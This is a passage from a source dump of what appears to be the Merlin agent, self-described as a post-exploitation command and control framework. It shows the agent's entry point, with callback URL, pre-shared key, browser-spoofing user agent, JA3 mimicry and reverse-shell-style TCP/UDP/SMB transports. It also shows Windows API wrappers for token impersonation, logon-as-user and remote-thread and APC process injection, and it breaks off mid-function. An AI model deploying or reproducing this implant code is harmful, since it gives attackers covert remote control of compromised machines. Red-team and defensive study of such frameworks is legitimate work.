proxy authentication\nvar proxyPass = \"\"\n\n// psk is the Pre-Shared Key, the secret used to encrypt messages communications with the server\nvar psk = \"merlin\"\n\n// secure a boolean value as a string that determines the value of the TLS InsecureSkipVerify option for HTTP\n// communications.\n// Must be a string, so it can be set from the Makefile\nvar secure = \"false\"\n\n// sleep the amount of time the agent will sleep before it attempts to check in with the server\nvar sleep = \"30s\"\n\n// skew the maximum size for random amounts of time to add to the sleep value to vary checkin times\nvar skew = \"3000\"\n\n// transforms is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n// that will be sent to the server\nvar transforms = \"jwe,gob-base\"\n\n// url the protocol, address, and port of the Agent's command and control server to communicate with\nvar url = \"https://127.0.0.1:443\"\n\n// useragent the HTTP User-Agent header for HTTP communications\nvar useragent = \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36\"\n\nfunc main() {\n\tverbose := flag.Bool(\"v\", false, \"Enable verbose output\")\n\tversion := flag.Bool(\"version\", false, \"Print the agent version and exit\")\n\tdebug := flag.Bool(\"debug\", false, \"Enable debug output\")\n\tflag.StringVar(&auth, \"auth\", auth, \"The Agent's authentication method (e.g, OPAQUE\")\n\tflag.StringVar(&addr, \"addr\", addr, \"The address in interface:port format the agent will use for communications\")\n\tflag.StringVar(&transforms, \"transforms\", transforms, \"Ordered CSV of transforms to construct a message\")\n\tflag.StringVar(&url, \"url\", url, \"A comma separated list of the full URLs for the agent to connect to\")\n\tflag.StringVar(&psk, \"psk\", psk, \"Pre-Shared Key used to encrypt initial communications\")\n\tflag.StringVar(&protocol, \"proto\", protocol, \"Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0), tcp-bind, tcp-reverse, udp-bind, udp-reverse, smb-bind, smb-reverse]\")\n\tflag.StringVar(&proxy, \"proxy\", proxy, \"Hardcoded proxy to use for http/1.1 traffic only that will override host configuration\")\n\tflag.StringVar(&proxyUser, \"proxy-user\", proxyUser, \"Username for proxy authentication\")\n\tflag.StringVar(&proxyPass, \"proxy-pass\", proxyPass, \"Password for proxy authentication\")\n\tflag.StringVar(&host, \"host\", host, \"HTTP Host header\")\n\tflag.StringVar(&ja3, \"ja3\", ja3, \"JA3 signature string (not the MD5 hash). Overrides -proto & -parrot flags\")\n\tflag.StringVar(&parrot, \"parrot\", ja3, \"parrot or mimic a specific browser from github.com/refraction-networking/utls (e.g., HelloChrome_Auto)\")\n\tflag.StringVar(&secure, \"secure\", secure, \"Require TLS certificate validation for HTTP communications\")\n\tflag.StringVar(&sleep, \"sleep\", sleep, \"Time for agent to sleep\")\n\tflag.StringVar(&skew, \"skew\", skew, \"Amount of skew, or variance, between agent checkins\")\n\tflag.StringVar(&killdate, \"killdate\", killdate, \"The date, as a Unix EPOCH timestamp, that the agent will quit running\")\n\tflag.StringVar(&listener, \"listener\", listener, \"The uuid of the peer-to-peer listener this agent should connect to\")\n\tflag.StringVar(&maxretry, \"maxretry\", maxretry, \"The maximum amount of failed checkins before the agent will quit running\")\n\tflag.StringVar(&padding, \"padding\", padding, \"The maximum amount of data that will be randomly selected and appended to every message\")\n\tflag.StringVar(&useragent, \"useragent\", useragent, \"The HTTP User-Agent header string that the Agent will use while sending traffic\")\n\tflag.StringVar(&headers, \"headers\", headers, \"A new line separated (e.g., \\\\n) list of additional HTTP headers to use\")\n\tflag.StringVar(&httpClient, \"http-client\", httpClient, \"The HTTP client to use for communication [go, winhttp]\")\n\n\tflag.Usage = usage\n\n\tif len(os.Args) <= 1 {\n\t\tinput := make(chan string, 1)\n\t\tvar stdin string\n\t\tgo getArgsFromStdIn(input, *verbose)\n\n\t\tselect {\n\t\tcase i := <-input:\n\t\t\tstdin = i\n\t\tcase <-time.After(500 * time.Millisecond):\n\t\t}\n\t\tif stdin != \"\" {\n\t\t\targs, err := shlex.Split(stdin)\n\t\t\tif err == nil && len(args) > 0 {\n\t\t\t\tos.Args = append(os.Args, args...)\n\t\t\t}\n\t\t}\n\t}\n\tflag.Parse()\n\n\tif *version {\n\t\tcolor.Blue(fmt.Sprintf(\"Merlin Agent Version: %s\", core.Version))\n\t\tcolor.Blue(fmt.Sprintf(\"Merlin Agent Build: %s\", core.Build))\n\t\tos.Exit(0)\n\t}\n\n\tcore.Debug = *debug\n\tcore.Verbose = *verbose\n\n\t// Setup and run agent\n\tagentConfig := agent.Config{\n\t\tSleep:    sleep,\n\t\tSkew:     skew,\n\t\tKillDate: killdate,\n\t\tMaxRetry: maxretry,\n\t}\n\ta, err := agent.New(agentConfig)\n\tif err != nil {\n\t\tif *verbose {\n\t\t\tcolor.Red(err.Error())\n\t\t}\n\t\tos.Exit(1)\n\t}\n\n\t// Parse the secure flag\n\tvar verify bool\n\tverify, err = strconv.ParseBool(secure)\n\tif err != nil {\n\t\tif *verbose {\n\t\t\tcolor.Red(err.Error())\n\t\t}\n\t\tos.Exit(1)\n\t}\n\n\t// Get the client\n\tvar client clients.Client\n\tvar listenerID uuid.UUID\n\tswitch protocol {\n\tcase \"http\", \"https\", \"h2\", \"h2c\", \"http3\":\n\t\tclientConfig := http.Config{\n\t\t\tAgentID:      a.ID(),\n\t\t\tProtocol:     protocol,\n\t\t\tClientType:   httpClient,\n\t\t\tHost:         host,\n\t\t\tHeaders:      headers,\n\t\t\tProxy:        proxy,\n\t\t\tProxyUser:    proxyUser,\n\t\t\tProxyPass:    proxyPass,\n\t\t\tUserAgent:    useragent,\n\t\t\tPSK:          psk,\n\t\t\tJA3:          ja3,\n\t\t\tParrot:       parrot,\n\t\t\tPadding:      padding,\n\t\t\tAuthPackage:  auth,\n\t\t\tOpaque:       opaque,\n\t\t\tTransformers: transforms,\n\t\t\tInsecureTLS:  !verify,\n\t\t}\n\n\t\tif strings.ToLower(httpClient) == \"winhttp\" && strings.ToLower(protocol) == \"h2\" {\n\t\t\tclientConfig.Protocol = \"https\"\n\t\t}\n\n\t\tif url != \"\" {\n\t\t\tclientConfig.URL = strings.Split(strings.ReplaceAll(url, \" \", \"\"), \",\")\n\t\t}\n\n\t\tclient, err = http.New(clientConfig)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(err.Error())\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\tcase \"tcp-bind\", \"tcp-reverse\":\n\t\tlistenerID, err = uuid.Parse(listener)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(fmt.Sprintf(\"there was an error parsing the listener's UUID: %s\", err))\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\t\tconfig := tcp.Config{\n\t\t\tAgentID:      a.ID(),\n\t\t\tListenerID:   listenerID,\n\t\t\tPSK:          psk,\n\t\t\tAddress:      []string{addr},\n\t\t\tAuthPackage:  auth,\n\t\t\tTransformers: transforms,\n\t\t\tMode:         protocol,\n\t\t\tPadding:      padding,\n\t\t}\n\n\t\t// Get the client\n\t\tclient, err = tcp.New(config)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(err.Error())\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\tcase \"udp-bind\", \"udp-reverse\":\n\t\tlistenerID, err = uuid.Parse(listener)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(fmt.Sprintf(\"there was an error parsing the listener's UUID: %s\", err))\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\t\tconfig := udp.Config{\n\t\t\tAgentID:      a.ID(),\n\t\t\tListenerID:   listenerID,\n\t\t\tPSK:          psk,\n\t\t\tAddress:      []string{addr},\n\t\t\tAuthPackage:  auth,\n\t\t\tTransformers: transforms,\n\t\t\tMode:         protocol,\n\t\t\tPadding:      padding,\n\t\t}\n\n\t\t// Get the client\n\t\tclient, err = udp.New(config)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(err.Error())\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\tcase \"smb-bind\", \"smb-reverse\":\n\t\tlistenerID, err = uuid.Parse(listener)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(fmt.Sprintf(\"there was an error parsing the listener's UUID: %s\", err))\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\t\tconfig := smb.Config{\n\t\t\tAddress:      []string{addr},\n\t\t\tAgentID:      a.ID(),\n\t\t\tAuthPackage:  auth,\n\t\t\tListenerID:   listenerID,\n\t\t\tPadding:      padding,\n\t\t\tPSK:          psk,\n\t\t\tTransformers: transforms,\n\t\t\tMode:         protocol,\n\t\t}\n\t\t// Get the client\n\t\tclient, err = smb.New(config)\n\t\tif err != nil {\n\t\t\tif *verbose {\n\t\t\t\tcolor.Red(err.Error())\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\tdefault:\n\t\tif *verbose {\n\t\t\tcolor.Red(fmt.Sprintf(\"main: unhandled protocol %s\\n\", protocol))\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t// Start the agent\n\trun.Run(a, client)\n}\n\n// usage prints command line options\nfunc usage() {\n\tfmt.Printf(\"Merlin Agent\\r\\n\")\n\tflag.PrintDefaults()\n\tos.Exit(0)\n}\n\n// getArgsFromStdIn reads merlin agent command line arguments from STDIN so that they can be piped in\nfunc getArgsFromStdIn(input chan string, verbose bool) {\n\tdefer close(input)\n\tfor {\n\t\tresult, err := bufio.NewReader(os.Stdin).ReadString('\\n')\n\t\tif err != nil && err != io.EOF {\n\t\t\tif verbose {\n\t\t\t\tcolor.Red(fmt.Sprintf(\"there was an error reading from STDIN: %s\", err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tinput <- result\n\t}\n}\n"
  },
  {
    "path": "os/os.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage os\n\nimport (\n\t\"os/user\"\n)\n\n// GetIntegrityLevel determines if the agent is running in an elevated context such as root\n// Returns 4 for root and 3 for members of the sudo group\nfunc GetIntegrityLevel() (integrity int, err error) {\n\tu, err := user.Current()\n\tif err != nil {\n\t\treturn\n\t}\n\tif u.Uid == \"0\" || u.Gid == \"0\" {\n\t\t// 3 represents Windows high-integrity\n\t\t// 4 represents Windows system-integrity\n\t\treturn 4, nil\n\t}\n\n\t// Lookup sudo group number\n\tsudo, err := user.LookupGroup(\"sudo\")\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgroups, err := u.GroupIds()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, g := range groups {\n\t\tif g == sudo.Gid {\n\t\t\treturn 3, nil\n\t\t}\n\t}\n\treturn\n}\n\n// GetUser enumerates the username and their primary group for the account running the agent process\n// It is OK if this function returns empty strings because we want the agent to run regardless\nfunc GetUser() (username, group string, err error) {\n\tvar u *user.User\n\tu, err = user.Current()\n\tif err != nil {\n\t\treturn\n\t}\n\tusername = u.Username\n\tgroup = u.Gid\n\treturn\n}\n"
  },
  {
    "path": "os/os_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage os\n\nimport (\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens\"\n)\n\n// GetIntegrityLevel returns the agent's current Windows Access Token integrity level\n// Returns 2 for medium integrity, 3 for high integrity, and 4 for system integrity\n// https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control\nfunc GetIntegrityLevel() (integrity int, err error) {\n\tvar token windows.Token\n\tif tokens.Token != 0 {\n\t\ttoken = tokens.Token\n\t} else {\n\t\ttoken = windows.GetCurrentProcessToken()\n\t}\n\n\tlevel, err := tokens.GetTokenIntegrityLevel(token)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tswitch level {\n\tcase \"Untrusted\":\n\t\tintegrity = 0\n\tcase \"Low\":\n\t\tintegrity = 1\n\tcase \"Medium\", \"Medium High\":\n\t\tintegrity = 2\n\tcase \"High\":\n\t\tintegrity = 3\n\tcase \"System\":\n\t\tintegrity = 4\n\t}\n\treturn\n}\n\n// GetUser enumerates the username and their primary group for the account running the agent process\n// It is OK if this function returns empty strings because we want the agent to run regardless\nfunc GetUser() (username, group string, err error) {\n\treturn tokens.GetCurrentUserAndGroup()\n}\n"
  },
  {
    "path": "os/windows/README.MD",
    "content": "# Windows\n\nThis directory is used to store functions exclusively used with the Windows agent.\nIt consists of two high-level directories:\n\n- `api` - This directory stores low-level Win32 API calls without wrapper functionality; All checks should be performed prior to calling\n- `pkg` - This directory stores high-level functions that sometimes wrap Win32 API calls\n"
  },
  {
    "path": "os/windows/api/advapi32/advapi32.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage advapi32\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n)\n\nvar Advapi32 = windows.NewLazySystemDLL(\"Advapi32.dll\")\n\n// CreateProcessWithLogon Creates a new process and its primary thread.\n// Then the new process runs the specified executable file in the security context of the specified credentials\n// (user, domain, and password). It can optionally load the user profile for a specified user.\n// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw\nfunc CreateProcessWithLogon(lpUsername *uint16, lpDomain *uint16, lpPassword *uint16, dwLogonFlags uint32, lpApplicationName *uint16, lpCommandLine *uint16, dwCreationFlags uint32, lpEnvironment uintptr, lpCurrentDirectory *uint16, lpStartupInfo *windows.StartupInfo, lpProcessInformation *windows.ProcessInformation) error {\n\tCreateProcessWithLogonW := Advapi32.NewProc(\"CreateProcessWithLogonW\")\n\n\t// Parse optional arguments\n\tvar domain uintptr\n\tif *lpDomain == 0 {\n\t\tdomain = 0\n\t} else {\n\t\tdomain = uintptr(unsafe.Pointer(lpDomain))\n\t}\n\n\tvar applicationName uintptr\n\tif *lpApplicationName == 0 {\n\t\tapplicationName = 0\n\t} else {\n\t\tapplicationName = uintptr(unsafe.Pointer(lpApplicationName))\n\t}\n\n\tvar commandLine uintptr\n\tif *lpCommandLine == 0 {\n\t\tcommandLine = 0\n\t} else {\n\t\tcommandLine = uintptr(unsafe.Pointer(lpCommandLine))\n\t}\n\n\tvar currentDirectory uintptr\n\tif *lpCurrentDirectory == 0 {\n\t\tcurrentDirectory = 0\n\t} else {\n\t\tcurrentDirectory = uintptr(unsafe.Pointer(lpCurrentDirectory))\n\t}\n\n\t// BOOL CreateProcessWithLogonW(\n\t//  [in]                LPCWSTR               lpUsername,\n\t//  [in, optional]      LPCWSTR               lpDomain,\n\t//  [in]                LPCWSTR               lpPassword,\n\t//  [in]                DWORD                 dwLogonFlags,\n\t//  [in, optional]      LPCWSTR               lpApplicationName, The function does not use the search path\n\t//  [in, out, optional] LPWSTR                lpCommandLine, The maximum length of this string is 1024 characters.\n\t//  [in]                DWORD                 dwCreationFlags,\n\t//  [in, optional]      LPVOID                lpEnvironment,\n\t//  [in, optional]      LPCWSTR               lpCurrentDirectory,\n\t//  [in]                LPSTARTUPINFOW        lpStartupInfo,\n\t//  [out]               LPPROCESS_INFORMATION lpProcessInformation\n\t//);\n\tret, _, err := CreateProcessWithLogonW.Call(\n\t\tuintptr(unsafe.Pointer(lpUsername)),\n\t\tdomain,\n\t\tuintptr(unsafe.Pointer(lpPassword)),\n\t\tuintptr(dwLogonFlags),\n\t\tapplicationName,\n\t\tcommandLine,\n\t\tuintptr(dwCreationFlags),\n\t\tlpEnvironment,\n\t\tcurrentDirectory,\n\t\tuintptr(unsafe.Pointer(lpStartupInfo)),\n\t\tuintptr(unsafe.Pointer(lpProcessInformation)),\n\t)\n\tif err != syscall.Errno(0) || ret == 0 {\n\t\treturn fmt.Errorf(\"there was an error calling CreateProcessWithLogon with return code %d: %s\", ret, err)\n\t}\n\treturn nil\n}\n\n// CreateProcessWithTokenW creates a new process and its primary thread. The new process runs in the security context of\n// the specified token. It can optionally load the user profile for the specified user.\n// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw\nfunc CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation uintptr) (err error) {\n\n\t// BOOL CreateProcessWithTokenW(\n\t//  [in]                HANDLE                hToken,\n\t//  [in]                DWORD                 dwLogonFlags,\n\t//  [in, optional]      LPCWSTR               lpApplicationName,\n\t//  [in, out, optional] LPWSTR                lpCommandLine,\n\t//  [in]                DWORD                 dwCreationFlags,\n\t//  [in, optional]      LPVOID                lpEnvironment,\n\t//  [in, optional]      LPCWSTR               lpCurrentDirectory,\n\t//  [in]                LPSTARTUPINFOW        lpStartupInfo,\n\t//  [out]               LPPROCESS_INFORMATION lpProcessInformation\n\t//);\n\tret, _, err := Advapi32.NewProc(\"CreateProcessWithTokenW\").Call(\n\t\thToken,\n\t\tdwLogonFlags,\n\t\tlpApplicationName,\n\t\tlpCommandLine,\n\t\tdwCreationFlags,\n\t\tlpEnvironment,\n\t\tlpCurrentDirectory,\n\t\tlpStartupInfo,\n\t\tlpProcessInformation,\n\t)\n\tif err != syscall.Errno(0) || ret == 0 {\n\t\terr = fmt.Errorf(\"there was an error calling advapi32!CreateProcessWithTokenW with return code %d: %s\", ret, err)\n\t\treturn\n\t}\n\treturn nil\n}\n\n// ImpersonateLoggedOnUser lets the calling thread impersonate the security context of a logged-on user.\n// The user is represented by a token handle.\n// https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser\nfunc ImpersonateLoggedOnUser(hToken windows.Token) (err error) {\n\timpersonateLoggedOnUser := Advapi32.NewProc(\"ImpersonateLoggedOnUser\")\n\n\t// BOOL ImpersonateLoggedOnUser(\n\t//  [in] HANDLE hToken\n\t//);\n\t_, _, err = impersonateLoggedOnUser.Call(uintptr(hToken))\n\tif err != syscall.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling ImpersonateLoggedOnUser: %s\", err)\n\t\treturn\n\t}\n\terr = nil\n\treturn\n}\n\n// LogonUser attempts to log a user on to the local computer.\n// The local computer is the computer from which LogonUser was called. You cannot use LogonUser to log on to a remote computer.\n// You specify the user with a user name and domain and authenticate the user with a plaintext password.\n// If the function succeeds, you receive a handle to a token that represents the logged-on user.\n// You can then use this token handle to impersonate the specified user or, in most cases, to create a process that runs in the context of the specified user.\n// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw\nfunc LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32) (token *unsafe.Pointer, err error) {\n\t// The LogonUser function was not available in the golang.org/x/sys/windows package at the time of writing\n\tLogonUserW := Advapi32.NewProc(\"LogonUserW\")\n\n\t// BOOL LogonUserW(\n\t//  [in]           LPCWSTR lpszUsername,\n\t//  [in, optional] LPCWSTR lpszDomain,\n\t//  [in, optional] LPCWSTR lpszPassword,\n\t//  [in]           DWORD   dwLogonType,\n\t//  [in]           DWORD   dwLogonProvider,\n\t//  [out]          PHANDLE phToken\n\t//);\n\n\tvar phToken unsafe.Pointer\n\n\t_, _, err = LogonUserW.Call(\n\t\tuintptr(unsafe.Pointer(lpszUsername)),\n\t\tuintptr(unsafe.Pointer(lpszDomain)),\n\t\tuintptr(unsafe.Pointer(lpszPassword)),\n\t\tuintptr(dwLogonType),\n\t\tuintptr(dwLogonProvider),\n\t\tuintptr(unsafe.Pointer(&phToken)),\n\t)\n\tif err != syscall.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling advapi32!LogonUserW: %s\", err)\n\t\treturn\n\t}\n\treturn &phToken, nil\n}\n\n// LookupPrivilegeName retrieves the name that corresponds to the privilege represented on a specific system by a\n// specified locally unique identifier (LUID).\n// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew\nfunc LookupPrivilegeName(luid windows.LUID) (privilege string, err error) {\n\tlookupPrivilegeNameW := Advapi32.NewProc(\"LookupPrivilegeNameW\")\n\n\t// BOOL LookupPrivilegeNameW(\n\t//  [in, optional]  LPCWSTR lpSystemName,\n\t//  [in]            PLUID   lpLuid,\n\t//  [out, optional] LPWSTR  lpName,\n\t//  [in, out]       LPDWORD cchName\n\t//);\n\n\t// Call to determine the size\n\tvar cchName uint32\n\tret, _, err := lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), 0, uintptr(unsafe.Pointer(&cchName)))\n\tif err != windows.ERROR_INSUFFICIENT_BUFFER {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling advapi32!LookupPrivilegeName for %+v with return code %d: %s\", luid, ret, err)\n\t}\n\n\tvar lpName uint16\n\tret, _, err = lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), uintptr(unsafe.Pointer(&lpName)), uintptr(unsafe.Pointer(&cchName)))\n\tif err != windows.Errno(0) || ret == 0 {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling advapi32!LookupPrivilegeName with return code %d: %s\", ret, err)\n\t}\n\n\treturn windows.UTF16PtrToString(&lpName), nil\n}\n"
  },
  {
    "path": "os/windows/api/kernel32/kernel32.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage kernel32\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n)\n\nvar kernel32 = windows.NewLazySystemDLL(\"kernel32.dll\")\n\n// CreateRemoteThreadEx Creates a thread that runs in the virtual address space of another process and optionally\n// specifies extended attributes such as processor group affinity.\n// HANDLE CreateRemoteThreadEx(\n//\n//\t[in]            HANDLE                       hProcess,\n//\t[in, optional]  LPSECURITY_ATTRIBUTES        lpThreadAttributes,\n//\t[in]            SIZE_T                       dwStackSize,\n//\t[in]            LPTHREAD_START_ROUTINE       lpStartAddress,\n//\t[in, optional]  LPVOID                       lpParameter,\n//\t[in]            DWORD                        dwCreationFlags,\n//\t[in, optional]  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,\n//\t[out, optional] LPDWORD                      lpThreadId\n//\n// );\n// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex\nfunc CreateRemoteThreadEx(hProcess uintptr, lpThreadAttributes uintptr, dwStackSize uintptr, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags int, lpAttributeList uintptr, lpThreadId uintptr) (addr uintptr, err error) {\n\tcreateRemoteThreadEx := kernel32.NewProc(\"CreateRemoteThreadEx\")\n\taddr, _, err = createRemoteThreadEx.Call(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, uintptr(dwCreationFlags), lpAttributeList, lpThreadId)\n\tif err != windows.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling Windows API CreateRemoteThread: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n\n// QueueUserAPC Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.\n// DWORD QueueUserAPC(\n//\n//\t[in] PAPCFUNC  pfnAPC,\n//\t[in] HANDLE    hThread,\n//\t[in] ULONG_PTR dwData\n//\n// );\n// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc\nfunc QueueUserAPC(pfnAPC uintptr, hThread uintptr, dwData uintptr) (err error) {\n\tqueueUserAPC := kernel32.NewProc(\"QueueUserAPC\")\n\t_, _, err = queueUserAPC.Call(pfnAPC, hThread, dwData)\n\tif err != windows.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling Windows API QueueUserAPC: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n\n// VirtualAllocEx Reserves, commits, or changes the state of a region of memory within the virtual address space of a\n// specified process. The function initializes the memory it allocates to zero.\n//\n//\tLPVOID VirtualAllocEx(\n//\t  [in]           HANDLE hProcess,\n//\t  [in, optional] LPVOID lpAddress,\n//\t  [in]           SIZE_T dwSize,\n//\t  [in]           DWORD  flAllocationType,\n//\t  [in]           DWORD  flProtect\n//\t);\n//\n// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex\nfunc VirtualAllocEx(hProcess uintptr, lpAddress uintptr, dwSize int, flAllocationType int, flProtect int) (addr uintptr, err error) {\n\tvirtualAllocEx := kernel32.NewProc(\"VirtualAllocEx\")\n\taddr, _, err = virtualAllocEx.Call(hProcess, lpAddress, uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect))\n\tif err != windows.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling Windows API VirtualAllocEx: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n"
  },
  {
    "path": "os/windows/api/ntdll/ntdll.go",
    "content": "//go:build windows\n// +build windows\n\n// Merlin is a post-exploitation command and control framework.\n// This file is part of Merlin.\n// Copyright (C) 2022  Russel Van Tuyl\n\n// Merlin is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// any later version.\n\n// Merlin is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n\npackage ntdll\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n)\n\nvar ntdll = windows.NewLazySystemDLL(\"ntdll.dll\")\n\n// RtlCopyMemory routine copies the contents of a source memory block to a destination memory block\n// void RtlCopyMemory(\n//\n//\tvoid*       Destination,\n//\tconst void* Source,\n//\tsize_t      Length\n//\n// );\n// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory\nfunc RtlCopyMemory(dest uintptr, src uintptr, len uint32) (err error) {\n\trtlCopyMemory := ntdll.NewProc(\"RtlCopyMemory\")\n\t_, _, err = rtlCopyMemory.Call(dest, src, uintptr(len))\n\tif err != windows.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling Windows RtlCopyMemory function: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n\n// RtlCreateUserThread\n//\n//\tNTSTATUS\n//\tRtlCreateUserThread(\n//\t\tIN HANDLE Process,\n//\t\tIN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,\n//\t\tIN BOOLEAN CreateSuspended,\n//\t\tIN ULONG ZeroBits OPTIONAL,\n//\t\tIN SIZE_T MaximumStackSize OPTIONAL,\n//\t\tIN SIZE_T CommittedStackSize OPTIONAL,\n//\t\tIN PUSER_THREAD_START_ROUTINE StartAddress,\n//\t\tIN PVOID Parameter OPTIONAL,\n//\t\tOUT PHANDLE Thread OPTIONAL,\n//\t\tOUT PCLIENT_ID ClientId OPTIONAL\n//\t);\n//\n// https://doxygen.reactos.org/da/d0c/sdk_2lib_2rtl_2thread_8c.html#ae5f514e4fcb7d47880171175e88aa205\nfunc RtlCreateUserThread(hProcess uintptr, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient uintptr) (addr uintptr, err error) 